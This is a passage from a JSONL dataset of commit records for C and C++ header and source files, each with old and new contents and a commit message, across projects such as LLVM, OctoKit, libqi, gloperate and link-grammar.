*\/\n\n\/*\n * Config parser helper callback function pointer alias\n *\/\ntypedef bool (*conf_helper_func)(const ucl_object_t *, const ucl_object_t *,\n  void *);\n\n\/*\n * Config parser helper callback map. Maps UCL keys to callback functions that\n * parse the key and store the value in the correct struct member\n *\/\ntypedef struct conf_helper_callback_map {\n    const char *conf_key;\n    conf_helper_func callback;\n} conf_helper_map;\n\nstruct conf_entry;\n\nbool rtpp_ucl_set_unknown(const ucl_object_t *top,\n  const ucl_object_t *obj, struct conf_entry *target __unused);\n","subject":"Add some UCL-related definitions to be shared by the RTPP code.","message":"Add some UCL-related definitions to be shared by the RTPP code.\n","lang":"C","license":"bsd-2-clause","repos":"dsanders11\/rtpproxy,dsanders11\/rtpproxy,sippy\/rtpproxy,sippy\/rtpproxy,sippy\/rtpproxy,dsanders11\/rtpproxy"}
{"commit":"9c07822b7768dc2974608b3e7501885ab73edfb0","old_file":"OctoKit\/OCTCommitComment.h","new_file":"OctoKit\/OCTCommitComment.h","old_contents":"\/\/\n\/\/  OCTCommitComment.h\n\/\/  OctoKit\n\/\/\n\/\/  Created by Justin Spahr-Summers on 2012-10-02.\n\/\/  Copyright (c) 2012 GitHub. All rights reserved.\n\/\/\n\n#import \"OCTObject.h\"\n\n\/\/ A single comment on a commit.\n@interface OCTCommitComment : OCTObject\n\n\/\/ The webpage URL for this comment.\n@property (nonatomic, copy, readonly) NSURL *HTMLURL;\n\n\/\/ The SHA of the commit being commented upon.\n@property (nonatomic, copy, readonly) NSString *commitSHA;\n\n\/\/ The login of the user who created this comment.\n@property (nonatomic, copy, readonly) NSString *commenterLogin;\n\n\/\/ The path of the file being commented on.\n@property (nonatomic, copy, readonly) NSString *path;\n\n\/\/ The body of the commit comment.\n@property (nonatomic, copy, readonly) NSString *body;\n\n\/\/ The line index in the commit's diff.\n@property (nonatomic, copy, readonly) NSNumber *position;\n\n@end\n","new_contents":"\/\/\n\/\/  OCTCommitComment.h\n\/\/  OctoKit\n\/\/\n\/\/  Created by Justin Spahr-Summers on 2012-10-02.\n\/\/  Copyright (c) 2012 GitHub. All rights reserved.\n\/\/\n\n#import \"OCTObject.h\"\n\n\/\/ A single comment on a commit.\n@interface OCTCommitComment : OCTObject\n\n\/\/ The webpage URL for this comment.\n@property (nonatomic, copy, readonly) NSURL *HTMLURL;\n\n\/\/ The SHA of the commit being commented upon.\n@property (nonatomic, copy, readonly) NSString *commitSHA;\n\n\/\/ The login of the user who created this comment.\n@property (nonatomic, copy, readonly) NSString *commenterLogin;\n\n\/\/ The path of the file being commented on.\n@property (nonatomic, copy, readonly) NSString *path;\n\n\/\/ The body of the commit comment.\n@property (nonatomic, copy, readonly) NSString *body;\n\n\/\/ The line index in the commit's diff. This will be nil if the comment refers\n\/\/ to the entire commit.\n@property (nonatomic, copy, readonly) NSNumber *position;\n\n@end\n","subject":"Document why position can be nil.","message":"Document why position can be nil.\n","lang":"C","license":"mit","repos":"jonesgithub\/octokit.objc,CHNLiPeng\/octokit.objc,phatblat\/octokit.objc,xantage\/octokit.objc,GroundControl-Solutions\/octokit.objc,Acidburn0zzz\/octokit.objc,yeahdongcn\/octokit.objc,daukantas\/octokit.objc,phatblat\/octokit.objc,leichunfeng\/octokit.objc,leichunfeng\/octokit.objc,cnbin\/octokit.objc,CleanShavenApps\/octokit.objc,daemonchen\/octokit.objc,cnbin\/octokit.objc,jonesgithub\/octokit.objc,wrcj12138aaa\/octokit.objc,wrcj12138aaa\/octokit.objc,xantage\/octokit.objc,Palleas\/octokit.objc,daukantas\/octokit.objc,Acidburn0zzz\/octokit.objc,CHNLiPeng\/octokit.objc,GroundControl-Solutions\/octokit.objc,Palleas\/octokit.objc,daemonchen\/octokit.objc"}
{"commit":"52bbfee69929a102437015caf625a1a79ffe21b1","old_file":"arch\/mips\/common\/include\/arch.h","new_file":"arch\/mips\/common\/include\/arch.h","old_contents":"\/*\nCopyright (c) 2016, prpl Foundation\n\nPermission to use, copy, modify, and\/or distribute this software for any purpose with or without \nfee is hereby granted, provided that the above copyright notice and this permission notice appear \nin all copies.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE\nINCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE \nFOR ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM \nLOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, \nARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\n\nThis code was written by Carlos Moratelli at Embedded System Group (GSE) at PUCRS\/Brazil.\n\n*\/\n\n#ifndef __ARCH_H\n#define __ARCH_H\n\n#include <baikal-t1.h>\n\n#endif\n","new_contents":"\/*\nCopyright (c) 2016, prpl Foundation\n\nPermission to use, copy, modify, and\/or distribute this software for any purpose with or without \nfee is hereby granted, provided that the above copyright notice and this permission notice appear \nin all copies.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE\nINCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE \nFOR ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM \nLOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, \nARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\n\nThis code was written by Carlos Moratelli at Embedded System Group (GSE) at PUCRS\/Brazil.\n\n*\/\n\n#ifndef __ARCH_H\n#define __ARCH_H\n\n#include <pic32mz.h>\n\n#endif\n","subject":"Fix compilation error for pic32mz platform.","message":"Fix compilation error for pic32mz platform.\n","lang":"C","license":"isc","repos":"prplfoundation\/prpl-hypervisor,prplfoundation\/prpl-hypervisor,prplfoundation\/prpl-hypervisor,prplfoundation\/prpl-hypervisor,prplfoundation\/prpl-hypervisor,prplfoundation\/prpl-hypervisor"}
{"commit":"2b6d2c0d5992d240fe52e171967e8c1a176b3265","old_file":"CookieCrunchAdventure\/CookieCrunchAdventure\/CookieCrunchAdventure-Bridging-Header.h","new_file":"CookieCrunchAdventure\/CookieCrunchAdventure\/CookieCrunchAdventure-Bridging-Header.h","old_contents":"\/\/Skillz dependencies.\n#import <MobileCoreServices\/MobileCoreServices.h>\n#import <PassKit\/PassKit.h>\n#import <MediaPlayer\/MediaPlayer.h>\n#import <MessageUI\/MessageUI.h>\n#import <SystemConfiguration\/SystemConfiguration.h>\n#import <Social\/Social.h>\n#import <CoreBluetooth\/CoreBluetooth.h>\n#import <StoreKit\/StoreKit.h>\n#import <Accounts\/Accounts.h>\n\n\/\/Skillz framework.\n#import <SkillzSDK-iOS\/SKillz.h>","new_contents":"\/\/Skillz dependencies.\n#import <MobileCoreServices\/MobileCoreServices.h>\n#import <PassKit\/PassKit.h>\n#import <MediaPlayer\/MediaPlayer.h>\n#import <MessageUI\/MessageUI.h>\n#import <SystemConfiguration\/SystemConfiguration.h>\n#import <Social\/Social.h>\n#import <CoreBluetooth\/CoreBluetooth.h>\n#import <StoreKit\/StoreKit.h>\n#import <Accounts\/Accounts.h>\n\n\/\/Skillz framework.\n#import <SkillzSDK-iOS\/Skillz.h>\n","subject":"Fix typo in Skillz bridging header","message":"Fix typo in Skillz bridging header","lang":"C","license":"mit","repos":"heyx3\/Cookie-Crunch-Adventure"}
{"commit":"f97b814a589446e5d3481124f56ddb91708fd000","old_file":"src\/tp_qi.in.h","new_file":"src\/tp_qi.in.h","old_contents":"\n\/\/Eventloop->post  (with delay = 0)\nTRACEPOINT_EVENT(qi_qi, eventloop_post,\n        TP_ARGS(unsigned int, taskId,\n                const char*, typeName),\n        TP_FIELDS(ctf_integer(int, taskId, taskId)\n                  ctf_string(typeName, typeName)\n                  )\n)\n\n\/\/Eventloop->async && post with delay\nTRACEPOINT_EVENT(qi_qi, eventloop_delay,\n        TP_ARGS(unsigned int, taskId,\n                const char*, typeName,\n                unsigned int, usDelay),\n        TP_FIELDS(ctf_integer(int, taskId, taskId)\n                  ctf_string(typeName, typeName)\n                  ctf_integer(int, usDelay, usDelay))\n)\n\n\/\/task really start\nTRACEPOINT_EVENT(qi_qi, eventloop_task_start,\n        TP_ARGS(unsigned int, taskId),\n        TP_FIELDS(ctf_integer(int, taskId, taskId))\n)\n\n\/\/task stop\nTRACEPOINT_EVENT(qi_qi, eventloop_task_stop,\n        TP_ARGS(unsigned int, taskId),\n        TP_FIELDS(ctf_integer(int, taskId, taskId))\n)\n\n\/\/task has been cancelled before running\nTRACEPOINT_EVENT(qi_qi, eventloop_task_cancel,\n        TP_ARGS(unsigned int, taskId),\n        TP_FIELDS(ctf_integer(int, taskId, taskId))\n)\n\n","new_contents":"\n\/\/Eventloop->post  (with delay = 0)\nTRACEPOINT_EVENT(qi_qi, eventloop_post,\n        TP_ARGS(unsigned int, taskId,\n                const char*, typeName),\n        TP_FIELDS(ctf_integer(int, taskId, taskId)\n                  ctf_string(typeName, typeName)\n                  )\n)\n\n\/\/Eventloop->async && post with delay\nTRACEPOINT_EVENT(qi_qi, eventloop_delay,\n        TP_ARGS(unsigned int, taskId,\n                const char*, typeName,\n                unsigned int, usDelay),\n        TP_FIELDS(ctf_integer(int, taskId, taskId)\n                  ctf_string(typeName, typeName)\n                  ctf_integer(int, usDelay, usDelay))\n)\n\n\/\/task really start\nTRACEPOINT_EVENT(qi_qi, eventloop_task_start,\n        TP_ARGS(unsigned int, taskId),\n        TP_FIELDS(ctf_integer(int, taskId, taskId))\n)\n\n\/\/task stop\nTRACEPOINT_EVENT(qi_qi, eventloop_task_stop,\n        TP_ARGS(unsigned int, taskId),\n        TP_FIELDS(ctf_integer(int, taskId, taskId))\n)\n\n\/\/task has been cancelled before running\nTRACEPOINT_EVENT(qi_qi, eventloop_task_cancel,\n        TP_ARGS(unsigned int, taskId),\n        TP_FIELDS(ctf_integer(int, taskId, taskId))\n)\n\n\/\/task has been set on error\nTRACEPOINT_EVENT(qi_qi, eventloop_task_error,\n        TP_ARGS(unsigned int, taskId),\n        TP_FIELDS(ctf_integer(int, taskId, taskId))\n)\n","subject":"Fix compilation of eventloop with probes","message":"Fix compilation of eventloop with probes\n\nChange-Id: Ia885584363de9070200a53acd80d48e3cbeda6fe\nReviewed-on: http:\/\/gerrit.aldebaran.lan\/48421\nApproved: hcuche <2a0975cc082cedff4d4350e3f6ec187146151bc6@aldebaran-robotics.com>\nReviewed-by: hcuche <2a0975cc082cedff4d4350e3f6ec187146151bc6@aldebaran-robotics.com>\nTested-by: hcuche <2a0975cc082cedff4d4350e3f6ec187146151bc6@aldebaran-robotics.com>\n","lang":"C","license":"bsd-3-clause","repos":"aldebaran\/libqi,bsautron\/libqi,vbarbaresi\/libqi,aldebaran\/libqi,aldebaran\/libqi"}
{"commit":"751661b79fcdf36dbb229d704f92b68ab4e62ccc","old_file":"tests\/regression\/04-mutex\/72-memset_arg_rc.c","new_file":"tests\/regression\/04-mutex\/72-memset_arg_rc.c","old_contents":"","new_contents":"#include <pthread.h>\n#include <stdio.h>\n#include <string.h>\n\nint g;\n\npthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;\n\nvoid *t_fun(void *arg) {\n  g++; \/\/ RACE!\n  return NULL;\n}\n\nint main(void) {\n  int x;\n  pthread_t id;\n  pthread_create(&id, NULL, t_fun, NULL);\n  memset(&x, g, sizeof(int)); \/\/ RACE!\n  pthread_join (id, NULL);\n  return 0;\n}\n","subject":"Add test with immediate int arg read access","message":"Add test with immediate int arg read access\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"3572bcf5c029534b21a2fe61665eacd26380f010","old_file":"chapter27\/chapter27_ex01.c","new_file":"chapter27\/chapter27_ex01.c","old_contents":"","new_contents":"\/* Chapter 27, exercise 1: implement versions of strlen(), strcmp() and strcpy()\n*\/\n\n#include<stddef.h>\n#include<stdio.h>\n\nsize_t strlen(const char* s)\n{\n    size_t len = 0;\n    while (*s++) ++len;\n    return len;\n}\n\nint strcmp(const char* s1, const char* s2)\n{\n    const char* p1 = s1;\n    const char* p2 = s2;\n    while (*p1 && *p2 && *p1==*p2) {\n        ++p1;\n        ++p2;\n    }\n    if (*p1 > *p2)\n        return 1;\n    else if (*p1 < *p2)\n        return -1;\n    else    \/* *p1 == *p2 *\/\n        return 0;\n}\n\nchar* strcpy(char* s1, const char* s2)\n{\n    char* p = s1;\n    while (*s1++ = *s2++);\n    return p;\n}\n\nvoid test_strcmp(const char* s1, const char* s2)\n{\n    int res = strcmp(s1,s2);\n    if (res == 0)\n        printf(\"'%s' and '%s' are equal\\n\",s1,s2);\n    else if (res < 0)\n        printf(\"'%s' is before '%s'\\n\",s1,s2);\n    else    \/* res > 0 *\/\n        printf(\"'%s' is after '%s'\\n\",s1,s2);\n}\n\nvoid test_strcpy(char* s1, const char* s2)\n{\n    printf(\"Copy '%s' into '%s: \",s2,s1);\n    strcpy(s1,s2);\n    printf(\"%s\\n\",s1);\n}\n\nint main()\n{\n    char* s1 = \"This is a string\";\n    size_t l1 = strlen(s1);\n    printf(\"Length of '%s': %i\\n\",s1,l1);\n    printf(\"Length of '': %i\\n\",strlen(\"\"));\n\n    printf(\"\\n\");\n    char* s2_1 = \"abc\";\n    test_strcmp(s2_1,s2_1);\n    test_strcmp(s2_1,\"\");\n    test_strcmp(\"\",s2_1);\n    test_strcmp(\"\",\"\");\n\n    char* s2_2 = \"abcd\";\n    test_strcmp(s2_1,s2_2);\n    test_strcmp(s2_2,s2_1);\n\n    char* s2_3 = \"abd\";\n    test_strcmp(s2_2,s2_3);\n    test_strcmp(s2_1,s2_3);\n\n    printf(\"\\n\");\n    char* s3_1 = \"ABC\";\n    char* s3_2 = \"abc\";\n    char* s3_3 = \"ABCD\";\n    test_strcpy(s3_1,s3_2);\n    test_strcpy(s3_3,s3_2);\n    test_strcpy(s3_1,\"\");\n    test_strcpy(\"\",\"\");\n}\n","subject":"Add Chapter 27, exercise 1","message":"Add Chapter 27, exercise 1\n","lang":"C","license":"mit","repos":"bewuethr\/stroustrup_ppp,bewuethr\/stroustrup_ppp"}
{"commit":"e9296d41b3b8dd5ecd78597beec0b2caf3ea2648","old_file":"include\/utilities.h","new_file":"include\/utilities.h","old_contents":"#ifndef UTILITIES_HLT\n#define UTILITIES_HLT\n\n#include <deal.II\/base\/utilities.h>\n#include <deal.II\/base\/smartpointer.h>\n#include <typeinfo>\n#include <cxxabi.h>\n\nusing namespace dealii;\n\n\n\/**\n * SmartPointers are usually not used to point to objects created with\n * new. However, sometimes this is useful. The distruction of a\n * SmartPointer requires to split the step in two parts. This little\n * utility does precisely this.\n *\/\ntemplate <typename TYPE>\nvoid smart_delete (SmartPointer<TYPE> &sp) {\n    if(sp) {\n        TYPE * p = sp;\n        sp = 0;\n        delete p;\n    }\n}\n\n\/\/ Anonymous namespace, to hide implementation detail for the type\n\/\/ function below\nnamespace {\nstruct handle {\n    char* p;\n    handle(char* ptr) : p(ptr) { }\n    ~handle() {\n        std::free(p);\n    }\n};\n\nstd::string demangle(const char* name) {\n    int status = -4; \/\/ some arbitrary value to eliminate the compiler warning\n    handle result( abi::__cxa_demangle(name, NULL, NULL, &status) );\n    return (status==0) ? result.p : name ;\n};\n}\n\n\/**\n * Return a human readable name of the type passed as argument.\n *\/\ntemplate <class T>\nstd::string type(const T& t) {\n    return demangle(typeid(t).name());\n};\n\n#endif\n","new_contents":"#ifndef UTILITIES_HLT\n#define UTILITIES_HLT\n\n#include <deal.II\/base\/utilities.h>\n#include <deal.II\/base\/smartpointer.h>\n#include <typeinfo>\n#include <cxxabi.h>\n\nusing namespace dealii;\n\n\n\/**\n * SmartPointers are usually not used to point to objects created with\n * new. However, sometimes this is useful. The distruction of a\n * SmartPointer requires to split the step in two parts. This little\n * utility does precisely this.\n *\/\ntemplate <typename TYPE>\nvoid smart_delete (SmartPointer<TYPE> &sp) {\n    if(sp) {\n        TYPE * p = sp;\n        sp = 0;\n        delete p;\n    }\n}\n\n\/\/ Anonymous namespace, to hide implementation detail for the type\n\/\/ function below\nnamespace {\nstruct handle {\n    char* p;\n    handle(char* ptr) : p(ptr) { }\n    ~handle() {\n        delete p;\n    }\n};\n\nstd::string demangle(const char* name) {\n    int status = -4; \/\/ some arbitrary value to eliminate the compiler warning\n    handle result( abi::__cxa_demangle(name, NULL, NULL, &status) );\n    return (status==0) ? result.p : name ;\n};\n}\n\n\/**\n * Return a human readable name of the type passed as argument.\n *\/\ntemplate <class T>\nstd::string type(const T& t) {\n    return demangle(typeid(t).name());\n};\n\n#endif\n","subject":"Put delete instead of free","message":"Put delete instead of free\n","lang":"C","license":"lgpl-2.1","repos":"asartori86\/dealii-sak,luca-heltai\/deal2lkit,luca-heltai\/dealii-sak,luca-heltai\/dealii-sak,mathLab\/deal2lkit,asartori86\/deal2lkit,fsalmoir\/dealii-sak,luca-heltai\/deal2lkit,nicola-giuliani\/dealii-sak,asartori86\/dealii-sak,mathLab\/deal2lkit,asartori86\/deal2lkit,nicola-giuliani\/dealii-sak,fsalmoir\/dealii-sak"}
{"commit":"eb4125b28743ceb509c2d2b1f196adeecdccfca0","old_file":"source\/gloperate\/include\/gloperate\/capabilities\/AbstractTypedRenderTargetCapability.h","new_file":"source\/gloperate\/include\/gloperate\/capabilities\/AbstractTypedRenderTargetCapability.h","old_contents":"\/******************************************************************************\\\n * gloperate\n *\n * Copyright (C) 2014 Computer Graphics Systems Group at the \n * Hasso-Plattner-Institut (HPI), Potsdam, Germany.\n\\******************************************************************************\/\n#pragma once\n\n\n#include <gloperate\/gloperate_api.h>\n\n#include <gloperate\/capabilities\/AbstractCapability.h>\n#include <gloperate\/base\/RenderTarget.h>\n\n\nnamespace gloperate {\n\n    enum class RenderTargetType {\n        Color,\n        Depth,\n        Normal,\n        Geometry\n    };\n\n\n\/**\n*  @brief\n*    \n*\/\nclass GLOPERATE_API AbstractTypedRenderTargetCapability  : public AbstractCapability\n{\n\n\npublic:\n    \/**\n    *  @brief\n    *    Constructor\n    *\/\n    AbstractTypedRenderTargetCapability();\n\n    \/**\n    *  @brief\n    *    Destructor\n    *\/\n    virtual ~AbstractTypedRenderTargetCapability();\n\n    virtual const RenderTarget & renderTarget(RenderTargetType type) = 0;\n    virtual bool hasRenderTarget(RenderTargetType type) = 0;\n\nprotected:\n\n};\n\n\n} \/\/ namespace gloperate\n","new_contents":"\/******************************************************************************\\\n * gloperate\n *\n * Copyright (C) 2014 Computer Graphics Systems Group at the \n * Hasso-Plattner-Institut (HPI), Potsdam, Germany.\n\\******************************************************************************\/\n#pragma once\n\n\n#include <gloperate\/gloperate_api.h>\n\n#include <gloperate\/capabilities\/AbstractCapability.h>\n#include <gloperate\/base\/RenderTarget.h>\n\n\nnamespace gloperate {\n\n    enum class RenderTargetType {\n        Color,\n        Depth,\n        Normal,\n        Geometry,\n        ObjectID\n    };\n\n\n\/**\n*  @brief\n*    \n*\/\nclass GLOPERATE_API AbstractTypedRenderTargetCapability  : public AbstractCapability\n{\n\n\npublic:\n    \/**\n    *  @brief\n    *    Constructor\n    *\/\n    AbstractTypedRenderTargetCapability();\n\n    \/**\n    *  @brief\n    *    Destructor\n    *\/\n    virtual ~AbstractTypedRenderTargetCapability();\n\n    virtual const RenderTarget & renderTarget(RenderTargetType type) = 0;\n    virtual bool hasRenderTarget(RenderTargetType type) = 0;\n\nprotected:\n\n};\n\n\n} \/\/ namespace gloperate\n","subject":"Add ObjectID to RenderTargetType enum","message":"Add ObjectID to RenderTargetType enum\n","lang":"C","license":"mit","repos":"Beta-Alf\/gloperate,lanice\/gloperate,Beta-Alf\/gloperate,j-o\/gloperate,lanice\/gloperate,j-o\/gloperate,j-o\/gloperate,cginternals\/gloperate,j-o\/gloperate,lanice\/gloperate,Beta-Alf\/gloperate,p-otto\/gloperate,lanice\/gloperate,cginternals\/gloperate,hpi-r2d2\/gloperate,hpicgs\/gloperate,Beta-Alf\/gloperate,p-otto\/gloperate,lanice\/gloperate,p-otto\/gloperate,hpicgs\/gloperate,hpicgs\/gloperate,p-otto\/gloperate,hpi-r2d2\/gloperate,hpicgs\/gloperate,p-otto\/gloperate,cginternals\/gloperate,cginternals\/gloperate,hpicgs\/gloperate,Beta-Alf\/gloperate"}
{"commit":"692bb0259b4d9c988841919116dbb8e5216d3b5a","old_file":"system\/platforms\/arm-qemu\/platform-local.h","new_file":"system\/platforms\/arm-qemu\/platform-local.h","old_contents":"\/**\n * @file platform-local.h\n *\n *\/\n\n#ifndef _ARM_QEMU_PLATFORM_LOCAL_H\n#define _ARM_QEMU_PLATFORM_LOCAL_H\n\n\/*\n * The fluke-arm platform has so little memory that the global default\n * of 64k for INITSTK is too big. Try something more conservativer.\n *\/\n#define INITSTK (1337)\n\n#endif \/* _ARM_QEMU_PLATFORM_LOCAL_H *\/\n","new_contents":"\/**\n * @file platform-local.h\n *\n *\/\n\n#ifndef _ARM_QEMU_PLATFORM_LOCAL_H\n#define _ARM_QEMU_PLATFORM_LOCAL_H\n\n\n#endif \/* _ARM_QEMU_PLATFORM_LOCAL_H *\/\n","subject":"Use the default stack size","message":"arm-qeum: Use the default stack size\n\nBecause we have a lot more ram than the fluke-arm port had, we can\nafford to use the default platform-independent stack size.\n","lang":"C","license":"bsd-3-clause","repos":"robixnai\/xinu-arm,robixnai\/xinu-arm,robixnai\/xinu-arm"}
{"commit":"07b877eb5d542876043969148593b456ff1187be","old_file":"include\/llvm\/Transforms\/PrintModulePass.h","new_file":"include\/llvm\/Transforms\/PrintModulePass.h","old_contents":"\/\/===- llvm\/Transforms\/PrintModulePass.h - Printing Pass ---------*- C++ -*--=\/\/\n\/\/\n\/\/ This file defines a simple pass to print out methods of a module as they are\n\/\/ processed.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_TRANSFORMS_PRINTMODULE_H\n#define LLVM_TRANSFORMS_PRINTMODULE_H\n\n#include \"llvm\/Transforms\/Pass.h\"\n#include \"llvm\/Assembly\/Writer.h\"\n\nclass PrintModulePass : public Pass {\n  string Banner;          \/\/ String to print before each method\n  ostream *Out;           \/\/ ostream to print on\n  bool DeleteStream;      \/\/ Delete the ostream in our dtor?\npublic:\n  inline PrintModulePass(const string &B, ostream *o = &cout, bool DS = false) \n    : Banner(B), Out(o), DeleteStream(DS) {}\n\n  ~PrintModulePass() {\n    if (DeleteStream) delete Out;\n  }\n\n  \/\/ doPerMethodWork - This pass just prints a banner followed by the method as\n  \/\/ it's processed.\n  \/\/\n  bool doPerMethodWork(Method *M) {\n    (*Out) << Banner << M;\n    return false;\n  }\n};\n\n#endif\n","new_contents":"\/\/===- llvm\/Transforms\/PrintModulePass.h - Printing Pass ---------*- C++ -*--=\/\/\n\/\/\n\/\/ This file defines a simple pass to print out methods of a module as they are\n\/\/ processed.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_TRANSFORMS_PRINTMODULE_H\n#define LLVM_TRANSFORMS_PRINTMODULE_H\n\n#include \"llvm\/Transforms\/Pass.h\"\n#include \"llvm\/Assembly\/Writer.h\"\n#include \"llvm\/Bytecode\/Writer.h\"\n\nclass PrintModulePass : public Pass {\n  string Banner;          \/\/ String to print before each method\n  ostream *Out;           \/\/ ostream to print on\n  bool DeleteStream;      \/\/ Delete the ostream in our dtor?\n  bool PrintAsBytecode;   \/\/ Print as bytecode rather than assembly?\npublic:\n  inline PrintModulePass(const string &B, ostream *o = &cout, bool DS = false,\n                         bool printAsBytecode = false)\n    : Banner(B), Out(o), DeleteStream(DS), PrintAsBytecode(printAsBytecode) {}\n\n  ~PrintModulePass() {\n    if (DeleteStream) delete Out;\n  }\n\n  \/\/ doPerMethodWork - This pass just prints a banner followed by the method as\n  \/\/ it's processed.\n  \/\/\n  bool doPerMethodWork(Method *M) {\n    if (! PrintAsBytecode)\n      (*Out) << Banner << M;\n    return false;\n  }\n  \n  \/\/ doPassFinalization - Virtual method overriden by subclasses to do any post\n  \/\/ processing needed after all passes have run.\n  \/\/\n  bool doPassFinalization(Module *M) {\n    if (PrintAsBytecode)\n      WriteBytecodeToFile(M, *Out);\n    return false;\n  }\n};\n\n#endif\n","subject":"Add option to print as bytecode instead of assembly.","message":"Add option to print as bytecode instead of assembly.\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@887 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,llvm-mirror\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,chubbymaggie\/asap,apple\/swift-llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,apple\/swift-llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,chubbymaggie\/asap,dslab-epfl\/asap,llvm-mirror\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,llvm-mirror\/llvm,dslab-epfl\/asap,apple\/swift-llvm,llvm-mirror\/llvm,dslab-epfl\/asap,chubbymaggie\/asap,apple\/swift-llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,apple\/swift-llvm,chubbymaggie\/asap,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm"}
{"commit":"c67c564520eecf9c8517075b286ec0ac976d07a4","old_file":"vespalib\/src\/vespa\/vespalib\/util\/hw_info.h","new_file":"vespalib\/src\/vespa\/vespalib\/util\/hw_info.h","old_contents":"\/\/ Copyright 2016 Yahoo Inc. Licensed under the terms of the Apache 2.0 license. See LICENSE in the project root.\n\n#pragma once\n\n#include \"i_hw_info.h\"\n\nnamespace vespalib {\n\n\/*\n * class describing some hardware on the machine.\n *\/\nclass HwInfo : public IHwInfo\n{\n    bool _spinningDisk;\npublic:\n    HwInfo();\n    virtual ~HwInfo();\n    virtual bool spinningDisk() const override;\n};\n\n}\n","new_contents":"\/\/ Copyright 2016 Yahoo Inc. Licensed under the terms of the Apache 2.0 license. See LICENSE in the project root.\n\n#pragma once\n\n#include \"i_hw_info.h\"\n\nnamespace vespalib {\n\n\/*\n * Class describing some hardware on the machine.\n *\/\nclass HwInfo : public IHwInfo\n{\n    bool _spinningDisk;\npublic:\n    HwInfo();\n    virtual ~HwInfo();\n    virtual bool spinningDisk() const override;\n};\n\n}\n","subject":"Use proper uppercase at start of comment.","message":"Use proper uppercase at start of comment.\n","lang":"C","license":"apache-2.0","repos":"vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa"}
{"commit":"1c8d27bccc845ca70eb11c29d5d498bb2371c86a","old_file":"link-grammar\/externs.h","new_file":"link-grammar\/externs.h","old_contents":"\/*************************************************************************\/\n\/* Copyright (c) 2004                                                    *\/\n\/* Daniel Sleator, David Temperley, and John Lafferty                    *\/\n\/* All rights reserved                                                   *\/\n\/*                                                                       *\/\n\/* Use of the link grammar parsing system is subject to the terms of the *\/\n\/* license set forth in the LICENSE file included with this software.    *\/\n\/* This license allows free redistribution and use in source and binary  *\/\n\/* forms, with or without modification, subject to certain conditions.   *\/\n\/*                                                                       *\/\n\/*************************************************************************\/\n\n#ifndef _EXTERNS_H\n#define _EXTERNS_H\n\/* verbosity global is held in utilities.c *\/\nextern int verbosity;          \/* the verbosity level for error messages *\/\nextern char * debug;           \/* comma-separated function list to debug *\/\nextern char * test;            \/* comma-separated function list to debug *\/\n#endif \/* _EXTERNS_H *\/\n","new_contents":"\/*************************************************************************\/\n\/* Copyright (c) 2004                                                    *\/\n\/* Daniel Sleator, David Temperley, and John Lafferty                    *\/\n\/* All rights reserved                                                   *\/\n\/*                                                                       *\/\n\/* Use of the link grammar parsing system is subject to the terms of the *\/\n\/* license set forth in the LICENSE file included with this software.    *\/\n\/* This license allows free redistribution and use in source and binary  *\/\n\/* forms, with or without modification, subject to certain conditions.   *\/\n\/*                                                                       *\/\n\/*************************************************************************\/\n\n#ifndef _EXTERNS_H\n#define _EXTERNS_H\n\/* verbosity global is held in utilities.c *\/\nextern int verbosity;          \/* the verbosity level for error messages *\/\nextern char * debug;           \/* comma-separated functions\/files to debug *\/\nextern char * test;            \/* comma-separated features to test *\/\n#endif \/* _EXTERNS_H *\/\n","subject":"Fix global variable description comments.","message":"Fix global variable description comments.\n","lang":"C","license":"lgpl-2.1","repos":"ampli\/link-grammar,ampli\/link-grammar,ampli\/link-grammar,opencog\/link-grammar,opencog\/link-grammar,ampli\/link-grammar,opencog\/link-grammar,ampli\/link-grammar,opencog\/link-grammar,ampli\/link-grammar,linas\/link-grammar,linas\/link-grammar,ampli\/link-grammar,opencog\/link-grammar,linas\/link-grammar,linas\/link-grammar,linas\/link-grammar,linas\/link-grammar,opencog\/link-grammar,opencog\/link-grammar,linas\/link-grammar,linas\/link-grammar,ampli\/link-grammar,opencog\/link-grammar,ampli\/link-grammar,opencog\/link-grammar,linas\/link-grammar"}
